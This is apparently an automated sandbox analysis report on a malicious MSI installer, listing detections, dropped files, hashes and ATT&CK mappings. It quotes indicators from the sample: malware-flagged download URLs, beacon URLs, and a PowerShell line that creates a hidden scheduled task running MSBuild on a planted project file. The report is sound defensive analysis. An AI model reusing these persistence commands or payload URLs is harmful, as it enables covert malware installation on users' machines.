Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
njYYgDgfwY.msi

Overview

General Information

Sample Name:njYYgDgfwY.msi
Original Sample Name:34299df68da85467e9e305c1e2d03695408c41a2c751e80a4f031ab8387d5105.msi
Analysis ID:1296210
MD5:56e45eb403cf192dc8bcef1826ca9bac
SHA1:62836a9fc323f9c867bec3be7951182b44047f26
SHA256:34299df68da85467e9e305c1e2d03695408c41a2c751e80a4f031ab8387d5105
Tags:msi
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected MalDoc
Antivirus detection for URL or domain
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Checks for available system drives (often done to infect USB drives)
Found dropped PE file which has not been started or loaded
Drops PE files
Tries to load missing DLLs

Classification

Process Tree

  • System is w10x64
  • msiexec.exe (PID: 5140 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\njYYgDgfwY.msi" MD5: 4767B71A318E201188A0D0A420C8B608)
  • msiexec.exe (PID: 3108 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)
    • msiexec.exe (PID: 5488 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 5764F3C4CEC2E39CBFCBF2AA60C70B87 C MD5: 12C17B5A5C2A7B97342C362CA467E9A2)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
njYYgDgfwY.msiJoeSecurity_MalDocYara detected MalDocJoe Security

    Sigma Signatures

    ⊘No Sigma rule has matched

    Snort Signatures

    ⊘No Snort rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Antivirus detection for URL or domain
    Source: https://cdn-ads.ru/file/999.jpgAvira URL Cloud: Label: malware
    Source: https://cdn-ads.ru/file/ProfessionalSingleLanguage.datAvira URL Cloud: Label: malware
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdbg source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbD source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb} source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbm source: njYYgDgfwY.msi, MSIE423.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: njYYgDgfwY.msi, MSIE423.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: njYYgDgfwY.msi, MSIE328.tmp.0.dr, MSIE2C9.tmp.0.dr, MSIE0A3.tmp.0.dr, MSIE27A.tmp.0.dr, MSIE1CD.tmp.0.dr, MSIE481.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: njYYgDgfwY.msi
    Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: c:Jump to behavior
    Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior

    Networking

    barindex
    Yara detected MalDoc
    Source: Yara matchFile source: njYYgDgfwY.msi, type: SAMPLE
    Source: njYYgDgfwY.msiString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
    Source: njYYgDgfwY.msiString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
    Source: njYYgDgfwY.msiString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
    Source: njYYgDgfwY.msiString found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q
    Source: njYYgDgfwY.msiString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
    Source: njYYgDgfwY.msiString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
    Source: njYYgDgfwY.msiString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
    Source: njYYgDgfwY.msiString found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
    Source: njYYgDgfwY.msiString found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
    Source: njYYgDgfwY.msiString found in binary or memory: http://ocsp.digicert.com0A
    Source: njYYgDgfwY.msiString found in binary or memory: http://ocsp.digicert.com0C
    Source: njYYgDgfwY.msiString found in binary or memory: http://ocsp.digicert.com0X
    Source: njYYgDgfwY.msiString found in binary or memory: http://ocsps.ssl.com0
    Source: njYYgDgfwY.msiString found in binary or memory: https://cdn-ads.ru/file/999.jpg
    Source: njYYgDgfwY.msiString found in binary or memory: https://cdn-ads.ru/file/ProfessionalSingleLanguage.dat
    Source: njYYgDgfwY.msiString found in binary or memory: https://prkl-ads.site/?status=start&av=$Names
    Source: njYYgDgfwY.msiString found in binary or memory: https://prkl-ads.site?status=install
    Source: njYYgDgfwY.msiString found in binary or memory: https://prkl-ads.site?status=reg&key=yq3bv84gt7fysbvdifo&site=Carp_itch.io
    Source: njYYgDgfwY.msiString found in binary or memory: https://www.ssl.com/repository0
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenamePrereq.dllF vs njYYgDgfwY.msi
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenameviewer.exeF vs njYYgDgfwY.msi
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenameAICustAct.dllF vs njYYgDgfwY.msi
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenamelzmaextractor.dllF vs njYYgDgfwY.msi
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenameSoftwareDetector.dllF vs njYYgDgfwY.msi
    Source: njYYgDgfwY.msiBinary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs njYYgDgfwY.msi
    Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
    Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
    Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE0A3.tmpJump to behavior
    Source: classification engineClassification label: mal56.troj.winMSI@4/8@0/0
    Source: unknownProcess created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\njYYgDgfwY.msi"
    Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
    Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 5764F3C4CEC2E39CBFCBF2AA60C70B87 C
    Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 5764F3C4CEC2E39CBFCBF2AA60C70B87 CJump to behavior
    Source: njYYgDgfwY.msiStatic file information: TRID: Microsoft Windows Installer (60509/1) 88.31%
    Source: njYYgDgfwY.msiBinary or memory string: $filePath = Join-Path $env:USERPROFILE ".steam\steam_$xxx.csproj"
    Source: njYYgDgfwY.msiBinary or memory string: $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command `"& C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe $env:USERPROFILE\.steam\steam_$xxx.csproj /t:$xxx`""
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: njYYgDgfwY.msiStatic file information: File size 4120576 > 1048576
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdbg source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbD source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb} source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbm source: njYYgDgfwY.msi, MSIE423.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: njYYgDgfwY.msi, MSIE423.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: njYYgDgfwY.msi
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: njYYgDgfwY.msi, MSIE328.tmp.0.dr, MSIE2C9.tmp.0.dr, MSIE0A3.tmp.0.dr, MSIE27A.tmp.0.dr, MSIE1CD.tmp.0.dr, MSIE481.tmp.0.dr
    Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: njYYgDgfwY.msi
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE27A.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE423.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE2C9.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE1CD.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE481.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE0A3.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIE328.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIE27A.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIE2C9.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIE1CD.tmpJump to dropped file
    Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIE328.tmpJump to dropped file
    Source: MSIE423.tmp.0.drBinary or memory string: HKEY_USERSRegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1VMware20,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
    Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
    Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
    Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    1
    Replication Through Removable Media    		Windows Management Instrumentation1
    DLL Side-Loading    		1
    Process Injection    		1
    Process Injection    		OS Credential Dumping1
    Security Software Discovery    		1
    Replication Through Removable Media    		Data from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
    DLL Side-Loading    		1
    DLL Side-Loading    		LSASS Memory11
    Peripheral Device Discovery    		Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account Manager11
    System Information Discovery    		SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 signatures2 2 Behavior Graph ID: 1296210 Sample: njYYgDgfwY.msi Startdate: 23/08/2023 Architecture: WINDOWS Score: 56 21 Antivirus detection for URL or domain 2->21 23 Yara detected MalDoc 2->23 6 msiexec.exe 12 2->6         started        9 msiexec.exe 2->9         started        process3 file4 13 C:\Users\user\AppData\Local\...\MSIE481.tmp, PE32 6->13 dropped 15 C:\Users\user\AppData\Local\...\MSIE423.tmp, PE32 6->15 dropped 17 C:\Users\user\AppData\Local\...\MSIE328.tmp, PE32 6->17 dropped 19 4 other files (none is malicious) 6->19 dropped 11 msiexec.exe 9->11         started        process5

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    njYYgDgfwY.msi2%VirustotalBrowse

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\Temp\MSIE0A3.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE1CD.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE27A.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE2C9.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE328.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE423.tmp0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\MSIE481.tmp0%ReversingLabs

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://ocsps.ssl.com00%URL Reputationsafe
    http://ocsps.ssl.com00%URL Reputationsafe
    https://prkl-ads.site?status=install0%Avira URL Cloudsafe
    https://prkl-ads.site/?status=start&av=$Names0%Avira URL Cloudsafe
    https://cdn-ads.ru/file/999.jpg100%Avira URL Cloudmalware
    https://cdn-ads.ru/file/ProfessionalSingleLanguage.dat100%Avira URL Cloudmalware
    https://prkl-ads.site?status=reg&key=yq3bv84gt7fysbvdifo&site=Carp_itch.io0%Avira URL Cloudsafe
    https://cdn-ads.ru/file/999.jpg1%VirustotalBrowse
    https://prkl-ads.site?status=reg&key=yq3bv84gt7fysbvdifo&site=Carp_itch.io0%VirustotalBrowse
    https://prkl-ads.site/?status=start&av=$Names1%VirustotalBrowse
    https://cdn-ads.ru/file/ProfessionalSingleLanguage.dat0%VirustotalBrowse

    Domains and IPs

    Contacted Domains

    ⊘No contacted domains info

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://ocsps.ssl.com0njYYgDgfwY.msifalse
    • URL Reputation: safe
    • URL Reputation: safe
    		unknown
    http://crls.ssl.com/ssl.com-rsa-RootCA.crl0njYYgDgfwY.msifalse
      		high
      http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0QnjYYgDgfwY.msifalse
        		high
        https://prkl-ads.site/?status=start&av=$NamesnjYYgDgfwY.msifalse
        • 1%, Virustotal, Browse
        • Avira URL Cloud: safe
        		unknown
        https://prkl-ads.site?status=installnjYYgDgfwY.msifalse
        • Avira URL Cloud: safe
        		unknown
        https://cdn-ads.ru/file/ProfessionalSingleLanguage.datnjYYgDgfwY.msifalse
        • 0%, Virustotal, Browse
        • Avira URL Cloud: malware
        		unknown
        http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0njYYgDgfwY.msifalse
          		high
          https://cdn-ads.ru/file/999.jpgnjYYgDgfwY.msifalse
          • 1%, Virustotal, Browse
          • Avira URL Cloud: malware
          		unknown
          https://www.ssl.com/repository0njYYgDgfwY.msifalse
            		high
            https://prkl-ads.site?status=reg&key=yq3bv84gt7fysbvdifo&site=Carp_itch.ionjYYgDgfwY.msifalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown

            World Map of Contacted IPs

            ⊘No contacted IP infos

            General Information

            Joe Sandbox Version:38.0.0 Beryl
            Analysis ID:1296210
            Start date and time:2023-08-23 23:44:08 +02:00
            Joe Sandbox Product:CloudBasic
            Overall analysis duration:0h 4m 52s
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
            Number of analysed new started processes analysed:22
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • HDC enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Sample file name:njYYgDgfwY.msi
            Original Sample Name:34299df68da85467e9e305c1e2d03695408c41a2c751e80a4f031ab8387d5105.msi
            Detection:MAL
            Classification:mal56.troj.winMSI@4/8@0/0
            EGA Information:Failed
            HDC Information:Failed
            HCA Information:
            • Successful, ratio: 100%
            • Number of executed functions: 0
            • Number of non-executed functions: 0
            Cookbook Comments:
            • Found application associated with file extension: .msi

            Warnings

            • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
            • Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, g.bing.com, arc.msn.com
            • Not all processes where analyzed, report is missing behavior information

            Simulations

            Behavior and APIs

            ⊘No simulations

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            ⊘No context

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            C:\Users\user\AppData\Local\Temp\MSIE0A3.tmpPsiphon_3.179.msiGet hashmaliciousHTMLPhisherBrowse
              q39Ns83JoJ.lnkGet hashmaliciousNetSupport RATBrowse
                Driver.Booster.10.6.0.141.msiGet hashmaliciousUnknownBrowse
                  C:\Users\user\AppData\Local\Temp\MSIE1CD.tmpPsiphon_3.179.msiGet hashmaliciousHTMLPhisherBrowse
                    q39Ns83JoJ.lnkGet hashmaliciousNetSupport RATBrowse
                      Driver.Booster.10.6.0.141.msiGet hashmaliciousUnknownBrowse

                        Created / dropped Files

                        C:\Users\user\AppData\Local\Temp\MSIE0A3.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Joe Sandbox View:
                        • Filename: Psiphon_3.179.msi, Detection: malicious, Browse
                        • Filename: q39Ns83JoJ.lnk, Detection: malicious, Browse
                        • Filename: Driver.Booster.10.6.0.141.msi, Detection: malicious, Browse
                        Reputation:low
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE1CD.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Joe Sandbox View:
                        • Filename: Psiphon_3.179.msi, Detection: malicious, Browse
                        • Filename: q39Ns83JoJ.lnk, Detection: malicious, Browse
                        • Filename: Driver.Booster.10.6.0.141.msi, Detection: malicious, Browse
                        Reputation:low
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE27A.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Reputation:low
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE2C9.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE328.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
